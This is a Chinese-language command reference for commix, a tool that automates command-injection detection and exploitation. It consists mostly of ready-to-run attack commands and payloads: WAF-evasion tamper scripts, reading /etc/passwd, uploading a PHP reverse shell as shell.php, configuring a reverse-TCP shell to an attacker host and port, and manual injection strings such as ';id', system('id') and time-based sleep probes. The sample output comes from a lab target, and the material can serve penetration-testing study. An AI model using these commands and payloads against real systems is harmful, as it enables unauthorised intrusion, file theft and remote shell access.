Commix 命令总结
兴家犹如针挑土,败家好似浪淘沙。
导航
壹 - 工具简介
commix 是一款模仿 sqlmap 以对 命令 注入漏洞进行自动化检测与利用的开源工具。
贰 - 命令用法
[*]目标
选项:-u 对 单一目标 URL 进行扫描。
commix -u "http://www.target.com/vuln.php?cmd=id" --hostname
选项:-r 可直接 从文本中读取 HTTP 请求,进而免于配置请求相关的参数。如,--data、--cookie 等。
commix -r http-request.txt --hostname
选项:-m 可从文本文件中读取多个目标进行 批量扫描。
commix -m url-list.txt --hostname
请求
选项:--method 可强制使用 HTTP 的方法。
commix -u "http://www.target.com/vuln.php" --method="GET" --hostname
选项:--data 可附带 POST 请求所需要 发送的数据。
commix -u "http://www.target.com/vuln.php" --data="cmd=id" --hostname
选项:--cookie 可附带 Web 会话所需的 身份信息。【注:在面对那些需要登录才能访问的页面时,此选项很必须。】
commix -u "http://www.target.com/vuln.php" --cookie="security=low;PHPSESSID=cju1k9fnrue6" --hostname
注入
选项:-p 可 仅 对指定的参数进行测试,但这会使 commix 忽略 --level 的设置。
#仅测试 GET 参数 id 和 HTTP User-Agent。
commix -u "http://www.target.com/vuln.php?cmd=id&cmd2=id" -p "cmd,cmd2" --hostname
选项:--skip 可 跳过 对指定的参数进行测试,通常需要配合 --level 使用。
#跳过对 HTTP 请求中 cmd2 参数的测试。
commix -u "http://www.target.com/vuln.php?cmd=id&cmd2=id" --skip "cmd2" --hostname
[*]检测
选项:--level 可控制 commix 检测 注入点的范围。【默认为 1 则只是测试 GET 和 POST 的相关参数,等于 2 则会增加测试 HTTP Cookie 头部,等于 3 则会增加测试 HTTP UserAgent/Referer 头部值。总而言之, 值越高检测的范围也会越大。】
commix -u "http://www.target.com/vuln.php?cmd=id" --level 3 --hostname
选项:--shellshock 可检测目标的 cgi 脚本是否存在 shellshock 漏洞。
commix -u "http://www.target.com/test.cgi" --shellshock --hostname
选项:--technique 可指定检测命令注入的技术,默认情况下使用的是 TECF 技术进行探测。其主要有 4 种检测技术,分别是:(C)lassic【基于输出的结果】、Dynamic Code (E)valuation【基于代码注入的输出结果】、(T)ime-based【基于时间】、(F)ile-based【基于文件输出】。此外,在使用基于时间的技术时,可配合选项--maxlen=MAXLEN 和 --time-sec=SECONDS 对载荷的行为进行限定;在使用基于文件输出的技术时,可配合选项 --web-root 通过 URL 进行输出结果验证。
#使用基于时间的盲注技术进行探测,并要求:返回的的结果字串长度最长提取到 100 个字符即可,每次进行时间注入等待的时长是 1 秒。
commix -u "http://www.target.com/vuln.php?cmd=id" --technique=t --maxlen=100 --time-sec=1 --hostname
#使用基于文件输出的盲注技术进行探测。【注意:关于命令执行输出文件的 URL 一定要能访问到才行,如 owaspbwa 的 dvwa,web-root 是 "/var/www/dvwa/",那么对应的 URL 便应该是 http://1.1.1.1/dvwa/ZYELVX.txt 才行。】
commix -u "http://www.target.com/vuln.php?cmd=id" --technique=f --web-root="/var/www/html/"
选项:--tamper 可指定脚本以对载荷进行变形处理;--list-tampers 则会列出可用的变形脚本。【注:该选项主要是用来绕过 WAF 的。】
#对载荷进行 base64 编码处理。【注:由于目标不一定会进行解码处理,因此该脚本容易出错。】
commix -u "http://www.target.com/vuln.php?cmd=id" -v 2 --tamper=base64encode --hostname
脚本介绍:
- backslashes.py — 在生成的字符串/负载字符之间插入反斜杠
\(转义/插入分隔符)。 - backticks.py — 用反引号
...形式替换$(...)的命令替换写法(语法变体)。 - base64encode.py — 将整个负载以 Base64 编码(编码层面的封装)。
- caret.py — 在字符之间插入插入符号
^(常见于 Windows 命令行转义)。 - dollaratsigns.py — 在字符间插入
$@(特殊符号序列)。 - doublequotes.py — 在字符之间插入双引号
"(分隔/嵌套影响解析)。 - hexencode.py — 将所有字符用十六进制表示或以十六进制编码呈现。
- multiplespaces.py — 在 OS 命令两侧或内部插入多余空格(扰乱简单匹配)。
- nested.py — 对生成的负载外层再加一层双引号(嵌套引号变体)。
- printf2echo.py — 将基于
printf的 ASCII->十进制转换替换为使用echo | od的等价流程(工具替换)。 - rev.py — 逐字符反转(字符顺序反转)。
- singlequotes.py — 在字符之间插入单引号
'。 - slash2env.py — 将斜杠
/替换为某个环境变量引用的展开(例如用环境变量片段代替字面/)。 - sleep2timeout.py — 用
timeout等工具代替sleep(时间控制命令替换)。 - sleep2usleep.py — 用
usleep替代sleep(更细粒度/不同可用工具)。 - space2htab.py — 将空格替换为水平制表符(
\t)。【*】 - space2ifs.py — 将空格替换为
$IFS(shell 中内部字段分隔符)。【*】 - space2plus.py — 将空格替换为
+(URL/解析影响)。 - space2vtab.py — 将空格替换为垂直制表符(
\v)。 - uninitializedvariable.py — 在字符之间插入随机未初始化的 Bash 变量名(例如
$RANDOMVAR未定义时的表现)。【*】 - xforwardedfor.py — 在 HTTP 层面附加伪造的
X-Forwarded-For等请求头(网络请求层面伪装/测试)。
枚举
选项:--hostname、--current-user、--sys-info、--users 可显示 系统 相关信息。
commix -u "http://www.target.com/vuln.php?cmd=id" --hostname --current-user --sys-info --users
...输出结果...
[23:24:37] [info] Fetching hostname.
[23:24:43] [info] Hostname: owaspbwa
[23:24:43] [info] Fetching current user.
[23:24:43] [info] Current user: www-data
[23:24:43] [info] Fetching the underlying operating system information.
[23:24:43] [info] Operating system: Linux Ubuntu 10.04 i686
[23:24:43] [info] Fetching content of the file '/etc/passwd' in order to enumerate operating system users.
[23:24:49] [info] Identified operating system users [32]:
|_ (1) 'root' (uid=0). Home directory is in '/root'.
|_ (2) 'daemon' (uid=1). Home directory is in '/usr/sbin'.
...
[*]杂项
选项:-v 可控制输出信息的详细等级。 默认是 1,使用 0 则输出会更简洁,如要 debug 则可使用 2 即可看到发出的每个 HTTP 请求中的载荷是怎样的。
选项:--wizard 可为用户提供一个询问式向导界面。
选项:--batch 可让 commix 直接按照默认的选项运行,不再不停的询问。
选项:--purge 可清空 commix 的会话文件内容。【注:默认的会话缓存路径 ~/.commix/output/】
选项:--ignore-session 虽不会清空 commix 的会话文件内容,但它可以让你避免被其缓存机制所干扰。
选项:--os-cmd 可在目标服务器运行指定的命令。
commix -u "http://www.target.com/vuln.php?cmd=id" --os-cmd "uname -a"
选项:--file-read 可在目标服务器文件系统中读取文件。
commix -u "http://www.target.com/vuln.php?cmd=id" --file-read "/etc/passwd"
选项:--file-write --file-dest 可向目标服务器文件系统中写入文件。【注:file-write 参数是本地文件,file-dest 参数是远端文件。】
commix -u "http://www.target.com/vuln.php?cmd=id" --file-write "/root/php-reverse-shell.php" --file-dest "/var/www/html/shell.php"
叁 - 杂七杂八
(1)常用示例。
#常规检测
commix -u "http://www.target.com/vuln.php" --data="cmd=id" --cookie="security=low;PHPSESSID=cju1k9fnrue6" --hostname
#增强检测
commix -u "http://www.target.com/vuln.php" --data="cmd=id" --cookie="security=low;PHPSESSID=cju1k9fnrue6" -p "cmd" --level 3 --hostname --ignore-session
#CGI BASH 脚本检测(ShellShock 漏洞)
commix -u "http://www.target.com/test.cgi" --shellshock --hostname
#服务器文件读取
commix -u "http://www.target.com/vuln.php?cmd=id" --file-read "/etc/passwd"
(2)默认的 os_shell 用法:
#使用 BASH 反向 TCP 获得 Shell
commix -u "http://www.target.com/vuln.php?cmd=id" --batch
commix(os_shell) > reverse_tcp
commix(reverse_tcp) > set LHOST 1.1.1.1
commix(reverse_tcp) > set LPORT 1234
commix(reverse_tcp) > 2
commix(reverse_tcp_other) > 6
(3)手工注入技术
#基于输出结果的注入
?id=1;id
?id=1&&whoami
?id=1|uname -a
#基于代码注入的输出结果【源代码:<?php $input = $_GET['cmd'];eval($input);?>】
?cmd=system('id')
?cmd=echo shell_exec('uname -a')
?cmd=file_put_contents('/tmp/owned.txt','pwned')
#基于时间
; sleep 5
#基于文件的输出(1)
; whoami > /var/www/html/output.txt
#再借助 curl http://target/output.txt 检验
#基于文件的输出(2)
; whoami > /tmp/X7s9o.txt
; [ $(wc -c < /tmp/X7s9o.txt) -eq 5 ] && sleep 5